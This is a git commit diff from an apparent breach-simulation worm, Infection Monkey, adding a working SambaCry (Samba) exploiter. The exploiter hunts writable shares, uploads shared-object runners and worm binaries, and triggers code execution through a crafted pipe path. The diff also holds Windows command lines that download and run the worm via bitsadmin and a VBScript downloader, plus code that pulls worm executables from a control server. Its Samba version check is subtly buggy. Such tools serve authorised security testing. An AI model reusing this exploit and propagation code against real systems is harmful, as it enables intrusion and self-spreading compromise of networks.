Merge remote-tracking branch 'origin/develop' into feature/refactor-monkey-island

# Conflicts:
#	monkey_island/cc/main.py
This commit is contained in:
Itay Mizeretz 2017-09-06 16:54:27 +03:00
commit 5e9c7eedbb
17 changed files with 787 additions and 60 deletions

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@ -1,7 +1,8 @@
import os
import sys
from network.range import FixedRange, RelativeRange, ClassCRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter,\
SambaCryExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger
from abc import ABCMeta
from itertools import product
@ -141,7 +142,7 @@ class Configuration(object):
scanner_class = TcpScanner
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, # Windows exploits
SSHExploiter, ShellShockExploiter # Linux
SSHExploiter, ShellShockExploiter, SambaCryExploiter # Linux
]
# how many victims to look for in a single scan iteration
@ -219,10 +220,33 @@ class Configuration(object):
smb_download_timeout = 300 # timeout in seconds
smb_service_name = "InfectionMonkey"
# Timeout (in seconds) for sambacry's trigger to yield results.
sambacry_trigger_timeout = 5
# Folder paths to guess share lies inside.
sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home']
# Shares to not check if they're writable.
sambacry_shares_not_to_check = ["IPC$", "print$"]
# Name of file which contains the monkey's commandline
sambacry_commandline_filename = "monkey_commandline.txt"
# Name of file which contains the runner's result
sambacry_runner_result_filename = "monkey_runner_result"
# SambaCry runner filename (32 bit)
sambacry_runner_filename_32 = "sc_monkey_runner32.so"
# SambaCry runner filename (64 bit)
sambacry_runner_filename_64 = "sc_monkey_runner64.so"
# Monkey filename on share (32 bit)
sambacry_monkey_filename_32 = "monkey32"
# Monkey filename on share (64 bit)
sambacry_monkey_filename_64 = "monkey64"
# Monkey copy filename on share (32 bit)
sambacry_monkey_copy_filename_32 = "monkey32_2"
# Monkey copy filename on share (64 bit)
sambacry_monkey_copy_filename_64 = "monkey64_2"
# system info collection
collect_system_info = True
###########################
# systeminfo config
###########################

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@ -156,11 +156,80 @@ class ControlClient(object):
@staticmethod
def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit))
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
os = "windows"
if is_32bit:
arch = "x86"
else:
arch = "amd64"
else:
os = "linux"
if is_32bit:
arch = "i686"
else:
arch = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arch
}
}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server:
return None
try:
dest_file = monkeyfs.virtual_path(filename)
if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
data=json.dumps(host_dict),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
@ -168,30 +237,17 @@ class ControlClient(object):
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
return None, None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
return filename, size
else:
return None, None
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None
return None, None
@staticmethod
def create_control_tunnel():

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@ -6,9 +6,13 @@ import shutil
import pprint
import logging
import subprocess
import argparse
from ctypes import c_char_p
from model import MONKEY_CMDLINE
from exploit.tools import build_monkey_commandline_explicitly
from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from config import WormConfiguration
from system_info import SystemInfoCollector, OperatingSystem
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@ -24,14 +28,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
self._monkey_args = args[1:]
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
arg_parser.add_argument('-l', '--location')
self.monkey_args = args[1:]
self.opts, _ = arg_parser.parse_known_args(args)
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
'destination_path': self.opts.location}
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
def start(self):
if self._config['destination_path'] is None:
LOG.error("No destination path specified")
return
# we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
@ -78,11 +95,19 @@ class MonkeyDrops(object):
except:
LOG.warn("Cannot set reference date to destination file")
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
}
monkey_options = build_monkey_commandline_explicitly(
self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth))
if OperatingSystem.Windows == SystemInfoCollector.get_os():
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
else:
dest_path = self._config['destination_path']
# In linux we have a more complex commandline. There's a general outer one, and the inner one which actually
# runs the monkey
inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options
monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")],
'monkey_commandline': inner_monkey_cmdline}
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)

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@ -58,9 +58,20 @@
"serialize_config": false,
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"skip_exploit_if_file_exist": true,
"local_network_scan": true,
"exploit_user_list": [],
"exploit_password_list" = []
"exploit_password_list": [],
"sambacry_trigger_timeout": 5,
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
"sambacry_shares_not_to_check": ["IPC$", "print$"],
"sambacry_commandline_filename": "monkey_commandline.txt",
"sambacry_runner_result_filename": "monkey_runner_result",
"sambacry_runner_filename_32": "sc_monkey_runner32.so",
"sambacry_runner_filename_64": "sc_monkey_runner64.so",
"sambacry_monkey_filename_32": "monkey32",
"sambacry_monkey_filename_64": "monkey64",
"sambacry_monkey_copy_filename_32": "monkey32_2",
"sambacry_monkey_copy_filename_64": "monkey64_2",
"local_network_scan": false,
"tcp_scan_get_banner": true,
"tcp_scan_interval": 200,
"tcp_scan_timeout": 10000,

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@ -20,3 +20,4 @@ from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter

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@ -0,0 +1,410 @@
import logging
import re
import sys
import time
from io import BytesIO
from os import path
import itertools
import posixpath
import impacket.smbconnection
from impacket.nt_errors import STATUS_SUCCESS
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
from impacket.smb import SessionError
from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, \
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path
__author__ = 'itay.mizeretz'
LOG = logging.getLogger(__name__)
class SambaCryExploiter(HostExploiter):
"""
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
"""
_target_os_type = ['linux']
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host):
return False
writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr)
LOG.info("Writable shares and their credentials on host %s: %s" %
(host.ip_addr, str(writable_shares_creds_dict)))
host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
# Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout)
successfully_triggered_shares = []
for share in writable_shares_creds_dict:
trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share])
if trigger_result is not None:
successfully_triggered_shares.append((share, trigger_result))
self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share])
for share, fullpath in successfully_triggered_shares:
host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath
if len(successfully_triggered_shares) > 0:
LOG.info("Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares)))
return True
else:
LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False
def try_exploit_share(self, host, share, creds, depth):
"""
Tries exploiting share
:param host: victim Host object
:param share: share name
:param creds: credentials to use with share
:param depth: current depth of monkey
"""
try:
smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share)
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
LOG.debug("Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds)))
def clean_share(self, ip, share, creds):
"""
Cleans remote share of any remaining files created by monkey
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_list = [self._config.sambacry_commandline_filename, self._config.sambacry_runner_result_filename,
self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64,
self._config.sambacry_monkey_filename_32, self._config.sambacry_monkey_filename_64,
self._config.sambacry_monkey_copy_filename_32, self._config.sambacry_monkey_copy_filename_64]
for filename in file_list:
try:
smb_client.deleteFile(share, "\\%s" % filename)
except (impacket.smbconnection.SessionError, SessionError):
# Ignore exception to try and delete as much as possible
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
def get_trigger_result(self, ip, share, creds):
"""
Checks if the trigger yielded any result and returns it.
:param ip: IP of victim
:param share: share name
:param creds: credentials to use with share.
:return: result of trigger if there was one. None otherwise
"""
smb_client = self.connect_to_server(ip, creds)
tree_id = smb_client.connectTree(share)
file_content = None
try:
file_id = smb_client.openFile(tree_id, "\\%s" % self._config.sambacry_runner_result_filename,
desiredAccess=FILE_READ_DATA)
file_content = smb_client.readFile(tree_id, file_id)
smb_client.closeFile(tree_id, file_id)
except (impacket.smbconnection.SessionError, SessionError):
pass
smb_client.disconnectTree(tree_id)
smb_client.close()
return file_content
def get_writable_shares_creds_dict(self, ip):
"""
Gets dictionary of writable shares and their credentials
:param ip: IP address of the victim
:return: Dictionary of writable shares and their corresponding credentials.
"""
writable_shares_creds_dict = {}
credentials_list = self.get_credentials_list()
for credentials in credentials_list:
try:
smb_client = self.connect_to_server(ip, credentials)
shares = self.list_shares(smb_client)
# don't try shares we can already write to.
for share in [x for x in shares if x not in writable_shares_creds_dict]:
if self.is_share_writable(smb_client, share):
writable_shares_creds_dict[share] = credentials
smb_client.close()
except (impacket.smbconnection.SessionError, SessionError):
# If failed using some credentials, try others.
pass
return writable_shares_creds_dict
def get_credentials_list(self):
user_password_pairs = self._config.get_exploit_user_password_pairs()
# Add empty credentials for anonymous shares.
credentials_list = [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}]
for user, password in user_password_pairs:
credentials_list.append({'username': user, 'password': password, 'lm_hash': '', 'ntlm_hash': ''})
return credentials_list
def list_shares(self, smb_client):
shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()]
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
def is_vulnerable(self, host):
"""
Checks whether the victim runs a possibly vulnerable version of samba
:param host: victim Host object
:return: True if victim is vulnerable, False otherwise
"""
if SMB_SERVICE not in host.services:
LOG.info("Host: %s doesn't have SMB open" % host.ip_addr)
return False
pattern = re.compile(r'\d*\.\d*\.\d*')
smb_server_name = host.services[SMB_SERVICE].get('name')
samba_version = "unknown"
pattern_result = pattern.search(smb_server_name)
is_vulnerable = False
if pattern_result is not None:
samba_version = smb_server_name[pattern_result.start():pattern_result.end()]
samba_version_parts = samba_version.split('.')
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "4") and (samba_version_parts[1] <= "13"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "5") and (samba_version_parts[1] <= "9"):
is_vulnerable = True
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] == "6") and (samba_version_parts[1] <= "3"):
is_vulnerable = True
LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" %
(host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable)))
return is_vulnerable
def is_share_writable(self, smb_client, share):
"""
Checks whether the share is writable
:param smb_client: smb client object
:param share: share name
:return: True if share is writable, False otherwise.
"""
LOG.debug('Checking %s for write access' % share)
try:
tree_id = smb_client.connectTree(share)
except (impacket.smbconnection.SessionError, SessionError):
return False
try:
smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
writable = True
except (impacket.smbconnection.SessionError, SessionError):
writable = False
pass
smb_client.disconnectTree(tree_id)
return writable
def upload_module(self, smb_client, host, share, depth):
"""
Uploads the module and all relevant files to server
:param smb_client: smb client object
:param host: victim Host object
:param share: share name
:param depth: current depth of monkey
"""
tree_id = smb_client.connectTree(share)
with self.get_monkey_commandline_file(host, depth, self._config.dropper_target_path_linux) as monkey_commandline_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_commandline_filename, monkey_commandline_file.read)
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_32, monkey_runner_bin_file.read)
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id)
def connect_to_server(self, ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
def trigger_module(self, smb_client, share):
"""
Tries triggering module
:param smb_client: smb client object
:param share: share name
:return: True if might triggered successfully, False otherwise.
"""
trigger_might_succeeded = False
module_possible_paths = self.generate_module_possible_paths(share)
for module_path in module_possible_paths:
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
return trigger_might_succeeded
def trigger_module_by_path(self, smb_client, module_path):
"""
Tries triggering module by path
:param smb_client: smb client object
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
:return: True if might triggered successfully, False otherwise.
"""
try:
# the extra / on the beginning is required for the vulnerability
self.open_pipe(smb_client, "/" + module_path)
except (impacket.smbconnection.SessionError, SessionError) as e:
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
return True
else:
pass
return False
def generate_module_possible_paths(self, share_name):
"""
Generates array of possible paths
:param share_name: Name of the share
:return: Array of possible full paths to the module.
"""
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
def get_monkey_commandline_file(self, host, depth, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
# Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability #
def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition,
fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
packet = smb_client.getSMBServer().SMB_PACKET()
packet['Command'] = SMB2_CREATE
packet['TreeID'] = treeId
if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True:
packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
smb2Create = SMB2Create()
smb2Create['SecurityFlags'] = 0
smb2Create['RequestedOplockLevel'] = oplockLevel
smb2Create['ImpersonationLevel'] = impersonationLevel
smb2Create['DesiredAccess'] = desiredAccess
smb2Create['FileAttributes'] = fileAttributes
smb2Create['ShareAccess'] = shareMode
smb2Create['CreateDisposition'] = creationDisposition
smb2Create['CreateOptions'] = creationOptions
smb2Create['NameLength'] = len(fileName) * 2
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
smb2Create['Buffer'] = '\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
smb2Create['CreateContextsLength'] = len(createContexts)
else:
smb2Create['CreateContextsOffset'] = 0
smb2Create['CreateContextsLength'] = 0
packet['Data'] = smb2Create
packetID = smb_client.getSMBServer().sendSMB(packet)
ans = smb_client.getSMBServer().recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
createResponse = SMB2Create_Response(ans['Data'])
# The client MUST generate a handle for the Open, and it MUST
# return success and the generated handle to the calling application.
# In our case, str(FileID)
return str(createResponse['FileID'])
def open_pipe(self, smb_client, pathName):
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
# to make things easier for the caller. Not this time ;)
treeId = smb_client.connectTree('IPC$')
LOG.debug('Triggering path: %s' % pathName)
if smb_client.getDialect() == SMB_DIALECT:
_, flags2 = smb_client.getSMBServer().get_flags()
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
ntCreate['Parameters']['FileNameLength'] = len(pathName)
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
ntCreate['Parameters']['FileAttributes'] = 0
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
ntCreate['Parameters']['SecurityFlags'] = 0
ntCreate['Parameters']['CreateFlags'] = 0x16
ntCreate['Data']['FileName'] = pathName
if flags2 & SMB.FLAGS2_UNICODE:
ntCreate['Data']['Pad'] = 0x0
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
else:
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)

View File

@ -1,7 +1,7 @@
import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -443,26 +443,46 @@ def get_target_monkey(host):
return monkey_path
def build_monkey_commandline(target_host, depth):
from config import WormConfiguration, GUID
def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
cmdline = ""
cmdline += " -p " + GUID
if target_host.default_tunnel:
cmdline += " -t " + target_host.default_tunnel
if target_host.default_server:
cmdline += " -s " + target_host.default_server
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if parent is not None:
cmdline += " -p " + parent
if tunnel is not None:
cmdline += " -t " + tunnel
if server is not None:
cmdline += " -s " + server
if depth is not None:
if depth < 0:
depth = 0
cmdline += " -d %d" % depth
if location is not None:
cmdline += " -l %s" % location
return cmdline
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def report_failed_login(exploiter, machine, user, password):
from control import ControlClient
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password})
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))

View File

@ -12,7 +12,7 @@ import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from . import HostExploiter
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -3,7 +3,7 @@ import ntpath
import logging
import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter):
return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
cmdline += build_monkey_commandline(host, depth - 1)

View File

@ -4,10 +4,12 @@ __author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )

View File

@ -7,13 +7,17 @@ a = Analysis(['main.py'],
pathex=['.'],
binaries=None,
datas=None,
hiddenimports=['_cffi_backend','grequests'],
hiddenimports=['_cffi_backend'],
hookspath=None,
runtime_hooks=None,
excludes=None,
win_no_prefer_redirects=None,
win_private_assemblies=None,
cipher=block_cipher)
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,

View File

@ -3,10 +3,14 @@ import os
import platform
a = Analysis(['main.py'],
pathex=['.'],
hiddenimports=['_cffi_backend', 'queue','grequests'],
hiddenimports=['_cffi_backend', 'queue'],
hookspath=None,
runtime_hooks=None)
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
if platform.system().find("Windows")>= 0:
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
if platform.architecture()[0] == "32bit":

